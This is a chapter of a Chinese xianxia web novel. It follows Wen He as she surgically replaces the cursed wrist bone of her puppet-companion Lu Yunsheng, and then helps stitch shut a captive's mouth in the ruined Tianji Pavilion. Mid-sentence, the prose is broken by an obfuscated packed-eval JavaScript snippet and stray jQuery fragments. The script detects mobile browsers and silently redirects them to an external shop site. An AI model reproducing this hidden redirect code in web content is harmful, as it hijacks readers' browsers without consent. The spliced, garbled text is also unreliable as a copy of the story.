“还疼吗?”
“早说了莫要事事向着别人,看顾好自己有这么难?”
“你对我下狠手的时候可没见有这等觉悟。”
不知是谁在问,亦不知是何人作答。
闻赫恍惚间见路韫生正挡在她的身前,腕间鲜血淋漓。
肉身活傀儡的血若是放干了——
闻赫没试过。
她想说话,喉间却仿若塞进一团棉花。
憋闷、费力。
她试图将棉花咳出,却咳得撕心裂肺,咳得收不住势。
她看见路韫生回头向她伸手,指间的血迹在尚未清晰的视野中秾艳夺目。
闻赫脚步后错,避过路韫生的动作。
“到哪儿了?”
她张嘴,却不知自己出没出声。
路韫生答:“天机阁。”
他蜷起手指收手。血液由他的指节滴落,溅起泥灰粉尘。
眼前终于开始逐渐清晰起来。
闻赫抬眼四顾,很难将此刻所见与天机阁相结合。
断壁折骨,残碑匍匐。无风,无月,无星,仅存的几枚充当星辰的夜明珠嵌在断裂的梁下,那把北斗成了此时唯一的光源。
有人走动,踢响了本该悬于檐下的清铃:“要叫我相信天机阁有一天会是这等下场,还不如说我转个身便是皇帝来得可信。”
闻赫回头,正见风清游小臂上缠着青遥的绸带,他自己颈间的那条亦变了绑缚的模样。
“他还好?”闻赫问。
知道她在问谁,风清游冲她皮笑肉不笑地扯扯嘴角:“挺好,乖得很。”
他走到路韫生身侧轻轻颔首,与他擦肩而过。
待风清游走远,路韫生开口:“天机阁三次天灾,三次避世。”
闻赫听过这个说法。‘天机阁逢难则避,逢运则出’,这句话曾一度成了无数大小仙门间不敢放上台面的笑谈。
路韫生缠紧了袖口,鲜血沁出。
闻赫不由得拧眉,打断他未出的话:“怎么回事?”
路韫生作为肉身活傀儡,他的心脏仍在晶石与咒术的代替驱使下跳动,尽管□□的愈合能力受限,却不该如此流血不止。
他摇头:“或许一会儿便好。”
闻赫知晓这情况并非正常,便沉下脸来,语调冷硬:“手。”
路韫生顺从她的话,伸手。
袖口掀起,仍是左腕。
细细密密的墨色线条由伤口处攀出,衬得伤处都失了血液本身该有的颜色而趋于青黑。
这叫闻赫想起了收在她空间袋中的傀儡残肢。
咒毒分明已经巫涟的确认解去,如何还能再来?
——傀儡。
闻赫眼中神色骤然黯沉。
傀儡带咒,只能削皮刮骨,甚至于更换零件。
但在死物材料上自然随意可行,肉身活傀儡……
她抬眼看向路韫生,正捕捉到他眼中的温和与隐忍。
……削皮刮骨,更换零件。
在□□上?
此时闻赫才真正明白,为何她父亲不让她在此域探赜索隐。
或许走到最后,她与药宗的那些人将无任何区别。
或许殊途同归。
闻赫压浅了呼吸,垂首去看路韫生缠满了墨线的手腕与小臂,思维急速运转。
她身上还有什么材料?工具是否足够?要用什么咒术才能将情况彻底稳定?该利用哪些阵法?
“小师妹。”路韫生哑声开口,“总不会再死一次了。”
这是第二次。
是实话,亦是闻赫所想。
闻赫扯扯唇角,竟觉有些讽刺,觉着自己有些好笑。
但事不过三。
她不会允许自己这般无能。
闻赫心里有了数,抬起头:“风清游做什么去了?”
风清游前脚刚走,后脚路韫生就开始说天机阁相关的事儿,这两人在先前必然是有过交流的。
如她所料,路韫生道:“青遥并不好。他要去追溯因果,日后为其避运。”
避运。
真能避得开吗?
闻赫笑笑,复又垂首专注于自己将要做的事。
“那便不用他了,有外人来能顶就成。”她说。
路韫生“嗯”了一声。
闻赫便选了处可进可退的地方,由身侧起用石灰与路韫生尚在滴落的血液勾勒出一道阵法,在其中细致掺揉咒文。
咒文音节密密麻麻,缠绕在阵法边缘的弧形线条之上。
——巫涟绘阵的做法有一部分实在简洁有效,闻赫选择性的将其融入进自己的绘阵习惯中。
绘了阵,闻赫便在一处断面相对平整的颓垣处摊开了她的工具。
自己只是个会唱戏的木匠,她从不怀疑这一点。
或许有个医师会更好些,譬如巫涟,甚至于秦瑾年。
但她面对的是活傀儡,是她自己做的肉身活傀儡,这是她的东西,她无法将信任交付任何一人。
闻赫看着路韫生的手腕,问的却不是别的:“有喜欢的材料么,师兄?”
路韫生沉默了好一会儿方道:“我记得驻地中有块陨铁。”
闻赫拿起了刻刀,微微俯身,一手托着路韫生的手腕,刀尖凑近了那道爬满墨线的伤口:“那很沉。”
路韫生道:“很有效。”
闻赫的刀刃已刺入了他的手腕。她沿着筋骨将皮肉切开,刃尖刮过已泛了青灰的骨骼:“从傀儡角度来说,是的。”她刻意将‘傀儡’二字着重强调,“但肉身腕骨撑不起这个重量。”
路韫生对此却很坚决:“比从金铁换起要好。”
闻赫眉头一跳:“不行。”
她否了这个决定。
路韫生放软了声调:“早晚要换的。”
闻赫对此不作回应。她在路韫生的腕间下了数个咒术,抽出空闲来将几枚形状各异的金属块从空间袋中取出丢到他眼前,语调冷硬不容转圜:“选。”
路韫生抿唇。
闻赫却不理他,兀自查看傀儡带咒的影响,以此判别该削去多少骨肉,又该使用多少耗材。
路韫生最后只得选了金铁。
闻赫并未给他留多少选择余地。
“若是哪天需要替换脊骨,我会用陨铁。”闻赫说。
她划开了自己的掌心,血液滴落,阵法亮起。
金铁的塑型并不困难,对于闻赫来说只是一道阵法与几道咒的事儿。学不了术法,但凡能以咒代替的,闻赫都尽全力学了替代的手法。
幸好,路韫生的腕部骨骼并非需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574027|203043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
全数替换。
在闻赫换出骨骼的那一瞬,那不过一指节大小的骨节便猝然碎裂散落。
血止住了,墨线褪去。
伤口依然狰狞,皮肤向外翻卷。路韫生擦净手上的血迹后,许是看着那处实在难看,便用一条青白发带将手腕层层包裹。
闻赫抬脚擦去了阵法的痕迹,将工具与剩余耗材一一收起。
有一道人影如炮弹般砸了进来。
闻赫手一顿,抬头。
风清游正站在一处摇摇欲坠的檐角之上,夜明珠的光亮照出他眼中的冰冷杀意。
“劳烦二位搭把手,”他的声音仿若淬了冰,“撕烂他的嘴。”
“钱,权,利,欲。人生来就是要追逐这些东西的。”被砸进来的人从废墟中起身,抹了一把凌乱的头发,露出一张尚显端正的脸来。他啐了口血,咧开嘴,露出被血染红的牙,神色狰狞:“你当自己有多清高?哪家的圣人长你……哦,你们,这副模样?”
前半截说得像是有几分道理,后半截却明显变了味儿。
闻赫皱起眉。路韫生抬手抖腕,傀儡丝直冲对方下颌而去。
傀儡丝穿透了男人的两腮,从他双唇间扫出,抽回时带回一道猩红。
闻赫抬手以指节抵了抵鼻尖,扬声问风清游:“这哪儿来的唵噆玩意儿?”
风清游从檐头跃下走近,满眼嫌恶:“坟里爬出来的。”
闻赫上下打量这人,愈看愈觉着眼熟。
她不甚确定地又反复打量几回,最终的问话中仍带着犹疑:“……节文府当真讲礼?”
她生怕自己认错了衣裳——毕竟这人身上的衣衫早已脏得不成样子,亦有一定程度的破损。
“原先或许是,现在,”风清游嗤笑一声,抬脚踹上男人的胸前,将其再次踹倒在地,随后上前一步,一脚踏上对方胸口,直将他踩在废墟之间动弹不得,“节文府不如改名叫走狗笼算了。”
闻赫舌尖抵抵犬牙:“杀了?”
风清游掌中形似罗盘的阵法正急速旋转,其上莹白光芒愈发亮眼,有隐约雷光在阵中连闪。
他原本看来像是气急了,此时却摇头。
“我不在天机阁的地盘杀人。”他如此道。
闻赫隐约猜得出原因,便不再多问,上前两步,在男人跟前蹲下身来。
“嘴这么脏,缝上如何?”她指尖在对方脸上比划着,提议道,“叫少爷开心开心。”
风清游啧道:“他善良得很,也就我们看着开心。”
闻赫轻笑一声,挽起袖口:“那也成。”
她当真动手。
风清游又踩得更稳了些。他手掌半翻,掌中阵法停住,艮位正对着躺在地上的男人。
“来吧,我不会叫他动上半分。”他道。
闻赫有针有线。她仔细选了最粗的针和最硬的麻线,调整了个更为舒服的姿势,斟酌了好一会儿方才下针。
倒是针脚均匀,连血点大小都大差不差。
风清游对此很是满意。
“手艺人就是好本事。”他一面夸赞,一面作势收脚,却又在男人颈间狠踢了一脚,将其踢晕过去,这才转身,“我去找阿遥。”
路韫生不知看见了什么,对闻赫道:“看天上。”
闻赫闻言抬头。